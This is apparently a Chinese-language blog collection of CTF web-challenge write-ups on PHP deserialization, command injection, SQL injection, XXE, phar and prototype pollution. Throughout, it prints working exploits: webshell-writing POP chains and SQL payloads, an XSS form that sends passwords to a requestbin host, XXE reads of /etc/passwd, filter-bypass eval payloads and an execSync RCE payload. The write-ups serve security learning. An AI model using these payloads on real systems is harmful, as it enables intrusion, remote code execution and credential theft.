[EIS 2019]EzPOP —easypop没有那么easy
源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 <?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
对于反序列化的问题,先来看看unserialize()函数位置,其会将get传入的data反序列化,我们的payload也就是通过data传入。
然后分析整个序列化,有两个类,A类和B类。
先看看A类中的方法,cleanContents
方法中,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; }
1 2 3 array_intersect_key()函数使用键名比较计算数组的交集 返回一个数组,该数组包含了所有出现在 第一个参数数组和其它参数数组中同时存在的键名的值。
前面是数组赋值,后面数组遍历并将两个数组的交集赋给$contents[$path] 所以我们$object的键选$cachedProperties中的任意一个即可,这里选path,值是我们的shell的url编码后的base64编码。
再看看B类
getCacheKey
方,prefix用于文件名构造
1 2 3 4 5 6 7 public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } $filename = $this->getCacheKey($name);
还有后面写入文件的时候,前面拼接的php代码会导致我们后面拼接的一句话木马无法执行。
为了绕过这里,我们可以将其base64编码再解码,由于base64解码前面那部分会变成乱码,后面的一句话木马就可以执行。
1 2 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
但是这里要注意base64编码的长度问题,需要一句话木马,前面的部分加起来的字节数为4的倍数,这样才不会影响base64解码导致一句话木马失效。关于base64编码解码绕过可以看看,这篇文章
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->key='hack.php'; } public function start($tmp){ $this->store=$tmp; } } class B{ public $options; } $a=new A(); $b=new B(); $b->options['prefix'] = "php://filter/write=convert.base64-decode/resource="; $b->options['expire'] = 11; $b->options['data_compress'] = false; $b->options['serialize'] = 'strval'; $a->start($b); $object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg"); $path = '123'; $a->cache = array($path=>$object); $a->complete = '1'; echo urlencode(serialize($a)); ?>
生成后传入参数先生成hack.php文件后,再访问hack.php,然后通过执行命令获得flag。
[N1CTF 2018]eating_cms 观察url发现page参数可以利用php伪协议读取文件。
读取一下guest、user,guest里面没什么东西,在user.php中包含function.php文件
我们读取一下function.php这里面有主要函数,还有几个类似flag的参数,访问一下,提示在m4aaannngggeee有东西,再次读取m4aaannngggeee,包含了一个上传的页面,但是这里不是文件上传漏洞的利用,我们再尝试直接访问m4aaannngggeee。这里才是真正的文件上传漏洞位置。
由于在upllloadddd.php源码中存在这句话,我们可以执行任意命令。
1 system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
我们通过上传的文件名来执行任意代码。
成功执行。
已经知道flag不在该目录,我们访问下一级,拿到flag。
最终文件名的payload:
1 ;cd ..;cat flag_233333;#
[NPUCTF2020]ezinclude 文件包含的题目
首先进入页面就是帐号密码错误,然后f12发现md5加密secret连接用户名要全等于密码,这个secret要怎么找到,其实我们抓包一下就可以解决很多问题,将响应包里的hash值传入pass参数,即可。
返回有一个flflflflag.php,里面存在通过file传参的文件包含。
通过伪协议读取一下index.php
1 ?file=php://filter/read/convert.base64-encode/resource=index.php
解码,发现包含了一个config.php,再读取一下,解码,flag不再里面。
这里没有其他思路了,我们扫一下目录,发现dir.php,再用伪协议读取一下。
得到
1 2 3 <?php var_dump(scandir('/tmp')); ?>
tmp是临时文件,这里考查PHP临时文件包含漏洞利用,一般分两种
1 2 1、通过利用可以访问的phpinfo页面,对其一次发送大量的数据造成临时文件没有被及时删除,这样我们就可以访问到phpinfo。 2、PHP版本小于7.2,利用PHP崩溃留下的临时文件。
脚本
1 2 3 4 5 6 7 8 9 10 import requests from io import BytesIO url="" payload="<?php phpinfo();?>" files={ "file":BytesIO(payload.encode()) } r=requests.post(url=url,files=files,allow_redirects=False)#禁止重定向 print(r.text)
访问dir.php,得到临时生成的文件名,访问一下可以得到phpinfo
但是这里需要抓包查看phpinfo信息,因为页面还是会跳转到404.
在response里就可以找到flag。
参考https://www.cnblogs.com/linuxsec/articles/11278477.html
以上是预期解,还有一个非预期解,通过session.upload_progress进行session文件包含
参考https://blog.csdn.net/rfrder/article/details/114656092
[GWCTF 2019]mypassword 根据题目,应该是需要得到密码,注册会实现跳转,但是到登录的时候没有响应。
应该跟js代码有关系,这里刚好把js代码放在很明显的位置。看了代码,就是把用户名和密码写入了表单。
登录成功后,我们发现Feedback中有注释提示。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if(is_array($feedback)){ echo "<script>alert('反馈不合法');</script>"; return false; } $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie']; foreach ($blacklist as $val) { while(true){ if(stripos($feedback,$val) !== false){ $feedback = str_ireplace($val,"",$feedback); }else{ break; } } }
黑名单过滤,由于前端的login.js具有记录密码的功能,所以我们构造一个表单在feedback页面提交,通过http://http.requestbin.buuoj.cn/接受flag。
POC
1 2 3 4 5 6 7 8 <incookieput type="text" name="username"> <incookieput type="password" name="password"> <scrcookieipt scookierc="./js/login.js"></scrcookieipt> <scrcookieipt> var psw = docucookiement.getcookieElementsByName("password")[0].value; docucookiement.locacookietion="http://http.requestbin.buuoj.cn/18l3qd91/?a="+psw; </scrcookieipt>
都是使用cookie黑名单进行绕过
本题又拓宽了思路,本题的方法与前面我们学习了dnslog数据外带类似。
[SUCTF 2018]MultiSQL 看题目与堆叠注入有关,支持多语句执行。
通过测试,许多sql关键字都被过滤了,我们使用新方法sql预处理写入一句话木马。
通过char绕过,来构造一句话木马
脚本
1 2 3 4 5 6 7 8 str="select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/hhh.php';" len_str=len(str) for i in range(0,len_str): if i == 0: print('char(%s'%ord(str[i]),end="") else: print(',%s'%ord(str[i]),end="") print(')')
然后通过预处理 写入一句话木马
最终payload
1 ?id=6;set%20@sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,104,97,99,107,46,112,104,112,39,59);prepare%20query%20from%20@sql;execute%20query;
[红明谷CTF 2021]write_shell 题目提示写一个shell
代码审计一下,有一个函数file_put_contents,我们通过data参数可以写入到目录下,我们先通过传入pwd查看目录,再通过data尝试写入一句话木马。
想异或构造一句话木马写入,被过滤了。只好试一下其他的。
考虑使用短标签,也是本题的突破口。
PHP短标签
1 2 3 <?= ?> 相当于 <?php echo ?>
所以我们可以通过短标签输出我们想要的结果。
同时,php中反引号可以将反引号的内容当作shell命令执行。
payload:
执行成功
然后通过命令ls查看文件,这里试了很多个,只有%09绕过空格。
有时候多试试,就成功了。
最终payload:
1 ?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>
本题的知识点前面有遇到过,需要多温故。再绕过空格的时候需要多一些耐心,也要先POC一下,再构造其他payload。
[GoogleCTF2019 Quals]Bnv 一开始就是一段盲文,也看不出题目有什么提示。
我们抓包看一下,会通过json数据提交我们选择的信息。
猜测存在XXE漏洞。
我们先将Content-Type修改成application/xml
返回的是
1 Start tag expected, '<' not found, line 1, column 1
少了标签不符合xml的格式。
想直接利用最简单的xxe注入,但是被限制了,返回root和DTD没有匹配到我们任意构造的DTD。
那一步步来构造把。
先构造
1 2 3 <?xml version="1.0"?> <message>135601360123502401401250 </message>
返回了没有找到DTD文件,我们试着添加一个实体。
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY hhh "135601360123502401401250"> ]> <message>&hhh; </message>
报错没有元素的声明,我们需要在DTD中声明我们已经定义的元素,通过使用数据,指定名为message的元素来实现,定义类型设置数据为PC数据。
1 2 3 4 5 6 7 8 <?xml version="1.0"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY hhh "135601360123502401401250"> ]> <message>&hhh; </message>
成功正确返回我们提交的信息了,现在需要构造读flag。
我们试着添加一个外部实体来发出出口请求。
这里有一个不错的平台
https://beeceptor.com/
提供一个子域,可以保存向该网站发出的所有请求的日志。
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY hhh "135601360123502401401250"> <!ENTITY % dtd SYSTEM "https://beeceptor.com/console/abcdef"> %dtd; ]> <message>&hhh; </message>
返回无法加载。
试着加载文件,返回可以加载文件,但不符合xml格式。
枚举出flag的位置,然后读取flag,不允许我们使用外部实体来读取,我们需要需要内部DTD。
XXE注入内部DTD的使用
这里是linux系统,使用模板
1 2 3 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
然后通过错误的利用和带外的利用,模板:
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ]> <message></message>
我们通过报错,成功解析了参数实体,%file;也就可以成功读取flag。
最终payload:
1 2 3 4 5 6 7 8 9 10 11 <?xml version="1.0"?> <!DOCTYPE message[ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///hhh/%file;'>"> %eval; %error; '> %local_dtd; ]>
[GXYCTF2019]BabysqliV3.0 登录页面,注了半天,结果是弱口令
里面是一个文件上传,上传后文件后缀名会被自动修改成txt,应该是没办法写入一句话木马上传。
这里有个file参数,我们想任意读取一下文件,但是后面会拼接字符串,那我们试一下php伪协议读取upload。
成功读取,解码得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting(0 ); class Uploader { public $Filename ; public $cmd ; public $token ; function __construct ( ) { $sandbox = getcwd()."/uploads/" .md5($_SESSION ['user' ])."/" ; $ext = ".txt" ; @mkdir($sandbox , 0777 , true ); if (isset ($_GET ['name' ]) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i" , $_GET ['name' ])){ $this ->Filename = $_GET ['name' ]; } else { $this ->Filename = $sandbox .$_SESSION ['user' ].$ext ; } $this ->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';" ; $this ->token = $_SESSION ['user' ]; } function upload ($file ) { global $sandbox ; global $ext ; if (preg_match("[^a-z0-9]" , $this ->Filename)){ $this ->cmd = "die('illegal filename!');" ; } else { if ($file ['size' ] > 1024 ){ $this ->cmd = "die('you are too big (′▽`〃)');" ; } else { $this ->cmd = "move_uploaded_file('" .$file ['tmp_name' ]."', '" . $this ->Filename . "');" ; } } } function __toString ( ) { global $sandbox ; global $ext ; return $this ->Filename; } function __destruct ( ) { if ($this ->token != $_SESSION ['user' ]){ $this ->cmd = "die('check token falied!');" ; } eval ($this ->cmd); } } if (isset ($_FILES ['file' ])) { $uploader = new Uploader(); $uploader ->upload($_FILES ["file" ]); if (@file_get_contents($uploader )){ echo "下面是你上传的文件:<br>" .$uploader ."<br>" ; echo file_get_contents($uploader ); } } ?>
怎么sql的题目变成反序列化了,这题目毫不相干!!!
仔细审计一下代码,有两个突破口,eval和file_get_contents
但是发现可以通过函数file_get_contents直接读取上传的文件内容,由于name的参数值可控,所以我们只要上传为藏有flag的文件名即可,这里就需要我们枚举一下,试过读取flag.php 就会返回flag.php,尝试一下,成功返回flag.php内容。
下面我们试一下使用函数eval来读取flag.php
想执行eval有个条件限制,要求$this->token != $_SESSION['user']
其实前面做题就注意到了上传后的文件名前面一部分没变化
我们就可以得到$_SESSION['user']
的值:
GXYe4b1116bd1774dcfc943ca7d4039593e
需要利用到phar反序列化,在_toString方法中看到,返回值是filename,也是我们可控的name值,最后在让file_get_contents读取flag.php内容,可以开始构造phar文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Uploader { public $Filename; public $cmd; public $token; } $o=new Uploader(); $o->cmd='highlight_file("/var/www/html/flag.php)'; $o->Filename='test'; $o->token='GXYe4b1116bd1774dcfc943ca7d4039593e'; echo serialize($o); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头 $phar->setMetadata($o); //将自定义meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
在本地生成后,上传phar后,name参数赋值,这样$this->filename被我们指定为phar,phar://+上传phar文件的地址,再任意上传一个文件,触发phar反序列化,得到flag。
payload
1 ?file=upload&name=phar:///var/www/html/uploads/52aa4224a0b7d9543d9b00bd0320dd2b/GXYe73a4626f60f8f934fd9892170c85a37.txt
[RoarCTF 2019]Online Proxy 本题考查XFF的sql盲注,二次注入。
我们得到一次数据,需要构造三个payload,才能执行我们第一次注入的payload语句,这也就是二次注入。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import requestsimport timeurl = 'http://node4.buuoj.cn:26233/' res = '' for i in range (1 ,200 ): print (i) left = 31 right = 127 mid = left + ((right - left)>>1 ) while left < right: payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0" .format (i,mid) headers = { 'Cookie' : 'track_uuid=492bf5ce-c5bb-482b-b1ab-ca34206af782' , 'X-Forwarded-For' : payload } r = requests.post(url = url, headers = headers) payload = '111' headers = { 'Cookie' : 'track_uuid=492bf5ce-c5bb-482b-b1ab-ca34206af782' , 'X-Forwarded-For' : payload } r = requests.post(url = url, headers = headers) payload = '111' headers = { 'Cookie' : 'track_uuid=492bf5ce-c5bb-482b-b1ab-ca34206af782' , 'X-Forwarded-For' : payload } r = requests.post(url = url, headers = headers) if r.status_code == 429 : time.sleep(2 ) if 'Last Ip: 1' in r.text: left = mid + 1 elif 'Last Ip: 1' not in r.text: right = mid mid = left + ((right-left)>>1 ) if mid == 31 or mid == 127 : break res += chr (mid) print (str (mid),res) time.sleep(1 )
[GYCTF2020]Easyphp fuzz测试,www.zip泄漏,拿到源码。
好好审计一下源码,在update.php中发现我们需要使得$_SESSION[‘login’]===1,在lib.php中看出,也就是让token值等于admin,才可以得到flag。
发现目标,我们就需要找到突破口,好好审计lib.php
审计一下dbCtrl类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 class dbCtrl { public $hostname = "127.0.0.1" ; public $dbuser = "root" ; public $dbpass = "root" ; public $database = "test" ; public $name ; public $password ; public $mysqli ; public $token ; public function __construct ( ) { $this ->name = $_POST ['username' ]; $this ->password = $_POST ['password' ]; $this ->token = $_SESSION ['token' ]; } public function login ($sql ) { $this ->mysqli = new mysqli($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result = $this ->mysqli->prepare($sql ); $result ->bind_param('s' , $this ->name); $result ->execute(); $result ->bind_result($idResult , $passwordResult ); $result ->fetch(); $result ->close(); if ($this ->token == 'admin' ) { return $idResult ; } if (!$idResult ) { echo ('用户不存在!' ); return false ; } if (md5($this ->password) !== $passwordResult ) { echo ('密码错误!' ); return false ; } $_SESSION ['token' ] = $this ->name; return $idResult ; } }
我们知道登录成功的条件是:
1 2 3 用户名存在,并且满足md5($this->password) == $passwordResult 或者 token的值是admin
代码中的查询语句为
1 select id,password from user where username=?
但是sql语句是我们可控的,我们可以控制参数
1 select 1,'md5(1)的值' from user where username=?
然后再使
即可绕过登录验证。
接下来就需要构造pop链了。
1 由于UpdateHelper::destruct方法中有echo,所以我们只需将$sql实例化为User类的对象,这样就可以触发User::toString方法
1 2 3 4 5 6 7 8 9 10 11 12 13 class UpdateHelper { public $id ; public $newinfo ; public $sql ; public function __construct ($newInfo ,$sql ) { $newInfo =unserialize($newInfo ); $upDate =new dbCtrl(); } public function __destruct ( ) { echo $this ->sql; } }
1 再看User::__toString方法,用$nickname变量调用了update()函数,并且$age为参数,所以我们只需将$nickname实例化为info类对象,从而调用了info::__call方法,并且$age中的值会作为参数传入。
1 2 3 4 5 public function __toString() { $this->nickname->update($this->age); return "0-0"; }
1 跟进Info:__call方法,其中的$CtrlCase调用了login方法,传入login方法的参数就是上一步通过User.age的值传入的,然后我们再将$CtrlCase变量实例化为dbCtrl类对象,这样就调用了dbCtrl::login($sql)完成我们的最终目的。
1 2 3 4 5 6 7 8 9 10 11 12 class Info{ public $age; public $nickname; public $CtrlCase; public function __construct($age,$nickname){ $this->age=$age; $this->nickname=$nickname; } public function __call($name,$argument){ echo $this->CtrlCase->login($argument[0]); } }
最后的pop链构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class User { public $age =null ; public $nickname =null ; public function __construct ( ) { $this ->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?' ; $this ->nickname=new info(); } } class Info { public $CtrlCase ; public function __construct ( ) { $this ->CtrlCase=new dbCtrl(); } } class UpdateHelper { public $sql ; public function __construct ( ) { $this ->sql=new User(); } } class dbCtrl { public $name ="admin" ; public $password ="1" ; } $o =new UpdateHelper;echo serialize($o );
输出
1 O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
但是我们还需要找到传入序列化的参数,可以实现反序列化。
通过函数相关找到传入的参数age或nickname参数传入,会被当成Info类里一个很长的字符串,利用字符串逃逸,成功反序列化我们想要传入的内容。在update.php,post提交payload。
最终payload:
1 2 age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
传入后,成功将token设置为admin,再回到登录页面即可登录。
参考:https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2#t2
[RoarCTF 2019]Simple Upload 这是Think PHP文件上传,需要我们自己构造一个上传文件的代码
Think PHP多文件上传
1 在Think PHP里的upload函数在不传参的情况下是批量上传的,利用条件竞争,我们可以绕过文件后缀名的检测,为了获得php后缀,我们需要上传两个其他的文件,因为后缀的命令方式采用了函数uniqid,它是基于微秒的当前时间来更改文件名,同时上传的两个文件名相差不大,这样我们就可以利用将一句话木马上传的文件放在两者之间,进行文件名的爆破猜解。
python脚本上传:
1 2 3 4 5 6 7 8 9 10 11 import requestsurl="http://8e1f6443-27ad-4385-9440-cf5e93d3dd1d.node4.buuoj.cn/index.php/Home/Index/upload" file1={'file' :open ('/xxx/1.txt' ,'r' )} file2={'file[]' :open ('/xxx/test.php' ,'r' )} r=requests.post(url=url,files=file1) print (r.text)r=requests.post(url=url,files=file2) print (r.text)r=requests.post(url=url,files=file1) print (r.text)
返回
1 2 3 {"url":"\/Public\/Uploads\/2021-07-12\/60ec3881cd3dd.txt","success":1} {"url":"\/Public\/Uploads\/","success":1} {"url":"\/Public\/Uploads\/2021-07-12\/60ec388219d03.txt","success":1}
观察一下只有后面六位数不同,我们可以进行爆破。
使用burp进行爆破即可。
[ISITDTU 2019]EasyPHP 又是easyphp,直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file(__FILE__); $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?>
很清楚,有个eval函数,我们要构造payload绕过正则匹配还有看似长度限制执行我们的想要的命令。
先分析这两个是什么限制,第一个,正则绕过,可以通过这个网站 帮你分析。
1 2 3 \x00- 0-9 匹配\x00到空格(\x20)和0-9的数字 '"`$&.,|[{_defgops 匹配到这些字符 \x7F 匹配到DEL(\x7F)字符
1 下面那个看似长度限制,其实是限制使用不同的字母,不能超过0xd,就是最多只能使用13种的字符。
我们先试一下取反绕过,成功返回php信息。
1 (~%8F%97%8F%96%91%99%90)();
php版本是7.3.5,再看看禁用的函数disable_functions,直接把我们常用的system和exec给禁用了,还有其他命令执行都给ban了,导致无法进行任意命令执行。open_basedir也被限制在了/var/www/html。但是我们可以使用scandir函数返回目录,由于返回的是数组,需要配合print_r使用或者var_dump函数,这里再补充一个可以返回目录的函数 glob函数。
由于取反绕过无法通过第二个限制,我们后面将使用异或绕过,毕竟它的变化更多。可以用更多的替换。
复习一下正则匹配绕过的姿势
目标构造
1 ((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
超过了字符限制,我们缩减字符,脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # Original chars,11 total result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp.append(d) print(len(temp), temp)
缩减后还剩,11种,还是不够。还能继续删除。
payload:
1 ((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
返回目录后,我们要读取文件内容,可以使用show_source或者readfile,同时我们想要获得的文件在最后面,我们可以使用函数end获取文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 result2 = [160, 136, 138, 140, 141, 144, 145, 209, 150, 151, 154, 155, 156, 158] # Original chars,14 total result = [160, 136, 141, 209, 151, 154, 155, 156] temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if (a == b == c == d) or (a==b) or (b==c) or (c==d) or(a==c): continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp.append(d) print(len(temp), temp)
最终payload:
1 show_source(end(scandir(.)));
1 ((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
[b01lers2020]Life on Mars 先大致浏览一下前端,看看有没有什么提示,好像没有,一般不要一上来就扫目录,效率太低,然后我们抓包看一下,分别点这几个会发送什么给服务器。
抓了几个看看就发现可以存在传参。
通过search传参,有个query查询数据,感觉有点像sql注入,我们先试一下。
开始尝试sql注入,多尝试就知道注入点在哪里了。
成功判断字段数
1 query?search=utopia_basin order by 2
注意前面的utopia_basin,不然只会返回1。
数字型注入,爆出数据库。
1 query?search=utopia_basin union select 1,2
这题最坑的就是flag在另一个数据库里面,我们需要使用sqlmap爆出另外一个数据库alien_code
然后再不断爆信息,最终payload:
1 query?search=utopia_basin union select 1,group_concat(code)from alien_code.code
后面指定的是alien_code数据库中的表code。
[GYCTF2020]Ez_Express 发现存在源码泄露,www.zip,下载下来审计一下。
这里也不知道利用什么,看一下wp。
考察原型链污染 ,之前还都没听说过,还是有很多需要学习。
原型链的特性:
在调用某一对象的属性时:
1 2 3 1.对象(obj)中寻找这一属性 2.如果找不到,则在obj.__proto__中寻找属性 3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
这样的机制被称为js的prototype继承链,与原型链污染密切相关。
原型链污染
1 如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
往往看见merge和clone函数就可以往原型链污染思考,跟进函数,寻找污染点。
来自某师傅的总结
1 2 3 4 总结下: 1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()只是确定漏洞的开始 2.进行审计需要以达成RCE为主要目的。通常exec, return等等都是值得注意的关键字。 3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
我们需要先绕过登录,不懂点js代码,还真看不懂这些,在index.js存在漏洞
1 'user':req.body.userid.toUpperCase()
js大小写特性
toUpperCase
就是将小写转化成大写的函数,这里就利用其中的漏洞,我们注册一个名为
的用户,因为要是admin用户才能使用clone函数。
然后我们再登陆,就可以将
寻找可以污染的参数,就是没有被定义的。
1 2 3 router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); })
这里的outputFunctionName就可以进行ssti注入,抓Action的包,然后修改为json类型。
最终payload:
1 {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
最后访问/info即可下载得到flag。
